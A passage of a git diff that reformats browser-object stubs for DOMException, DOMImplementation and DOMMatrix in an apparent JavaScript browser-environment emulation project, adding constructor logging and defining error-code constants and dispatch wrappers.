{configurable:false, enumerable:true, writable:false, value:19}); -bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", {configurable:false, enumerable:true, writable:false, value:20}); -bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:21}); -bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", {configurable:false, enumerable:true, writable:false, value:22}); -bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", {configurable:false, enumerable:true, writable:false, value:23}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", {configurable:false, enumerable:true, writable:false, value:24}); -bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", {configurable:false, enumerable:true, writable:false, value:25}); -bodavm.toolsFunc.defineProperty('DOMException', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", {configurable:false, enumerable:true, writable:false, value:13},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", {configurable:false, enumerable:true, writable:false, value:14},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", {configurable:false, enumerable:true, writable:false, value:15},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", {configurable:false, enumerable:true, writable:false, value:16},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:17},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", {configurable:false, enumerable:true, writable:false, value:18},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", {configurable:false, enumerable:true, writable:false, value:19},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", {configurable:false, enumerable:true, writable:false, value:20},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:21},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", {configurable:false, enumerable:true, writable:false, value:22},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", {configurable:false, enumerable:true, writable:false, value:23},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", {configurable:false, enumerable:true, writable:false, value:24},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", {configurable:false, enumerable:true, writable:false, value:25},'prototype'); +// DOMException对象 + +bodavm.memory.globalobj['DOMException'] = function DOMException() { + console.log_copy('DOMException 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMException(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMException'], "DOMException"); +bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}); +bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 17 +}); +bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 18 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 19 +}); +bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 20 +}); +bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 21 +}); +bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 22 +}); +bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 23 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 24 +}); +bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 25 +}); +bodavm.toolsFunc.defineProperty('DOMException', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 17 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 18 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 19 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 20 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 21 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 22 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 23 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 24 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 25 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMImplementation.js b/env_xbb_lastest_jsdom/env/DOMImplementation.js index 55773e08..35a6dc5f 100644 --- a/env_xbb_lastest_jsdom/env/DOMImplementation.js +++ b/env_xbb_lastest_jsdom/env/DOMImplementation.js @@ -1,7 +1,49 @@ -// DOMImplementation对象 -bodavm.memory.globalobj['DOMImplementation'] = function DOMImplementation(){if (!(this instanceof DOMImplementation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMImplementation'], "DOMImplementation"); -bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocument", {configurable:true, enumerable:true, writable:true, value:function createDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocumentType", {configurable:true, enumerable:true, writable:true, value:function createDocumentType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocumentType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMImplementation', "createHTMLDocument", {configurable:true, enumerable:true, writable:true, value:function createHTMLDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createHTMLDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMImplementation', "hasFeature", {configurable:true, enumerable:true, writable:true, value:function hasFeature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "hasFeature", arguments)}},'prototype'); +// DOMImplementation对象 + +bodavm.memory.globalobj['DOMImplementation'] = function DOMImplementation() { + console.log_copy('DOMImplementation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMImplementation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMImplementation'], "DOMImplementation"); +bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function createDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocumentType", { + configurable: true, + enumerable: true, + writable: true, + value: function createDocumentType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocumentType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMImplementation', "createHTMLDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function createHTMLDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createHTMLDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMImplementation', "hasFeature", { + configurable: true, + enumerable: true, + writable: true, + value: function hasFeature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "hasFeature", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMMatrix.js b/env_xbb_lastest_jsdom/env/DOMMatrix.js index 8be2ef53..daf43208 100644 --- a/env_xbb_lastest_jsdom/env/DOMMatrix.js +++ b/env_xbb_lastest_jsdom/env/DOMMatrix.js @@ -1,42 +1,356 @@ -// DOMMatrix对象 -bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix(){this._boarg= new bodaobj.window.DOMMatrix();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); -bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; -bodavm.memory.globalobj['DOMMatrix'].__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly']; -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments)}, set:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments)}, set:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments)}, set:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments)}, set:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments)}, set:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments)}, set:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments)}, set:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments)}, set:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments)}, set:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", {configurable:true, enumerable:true, get:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments)}, set:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments)}, set:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments)}, set:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments)}, set:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments)}, set:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments)}, set:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments)}, set:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", {configurable:true, enumerable:true, writable:true, value:function invertSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", {configurable:true, enumerable:true, writable:true, value:function multiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", {configurable:true, enumerable:true, writable:true, value:function preMultiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", {configurable:true, enumerable:true, writable:true, value:function rotateFromVectorSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", {configurable:true, enumerable:true, writable:true, value:function rotateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", {configurable:true, enumerable:true, writable:true, value:function scale3dSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", {configurable:true, enumerable:true, writable:true, value:function scaleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", {configurable:true, enumerable:true, writable:true, value:function skewXSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, 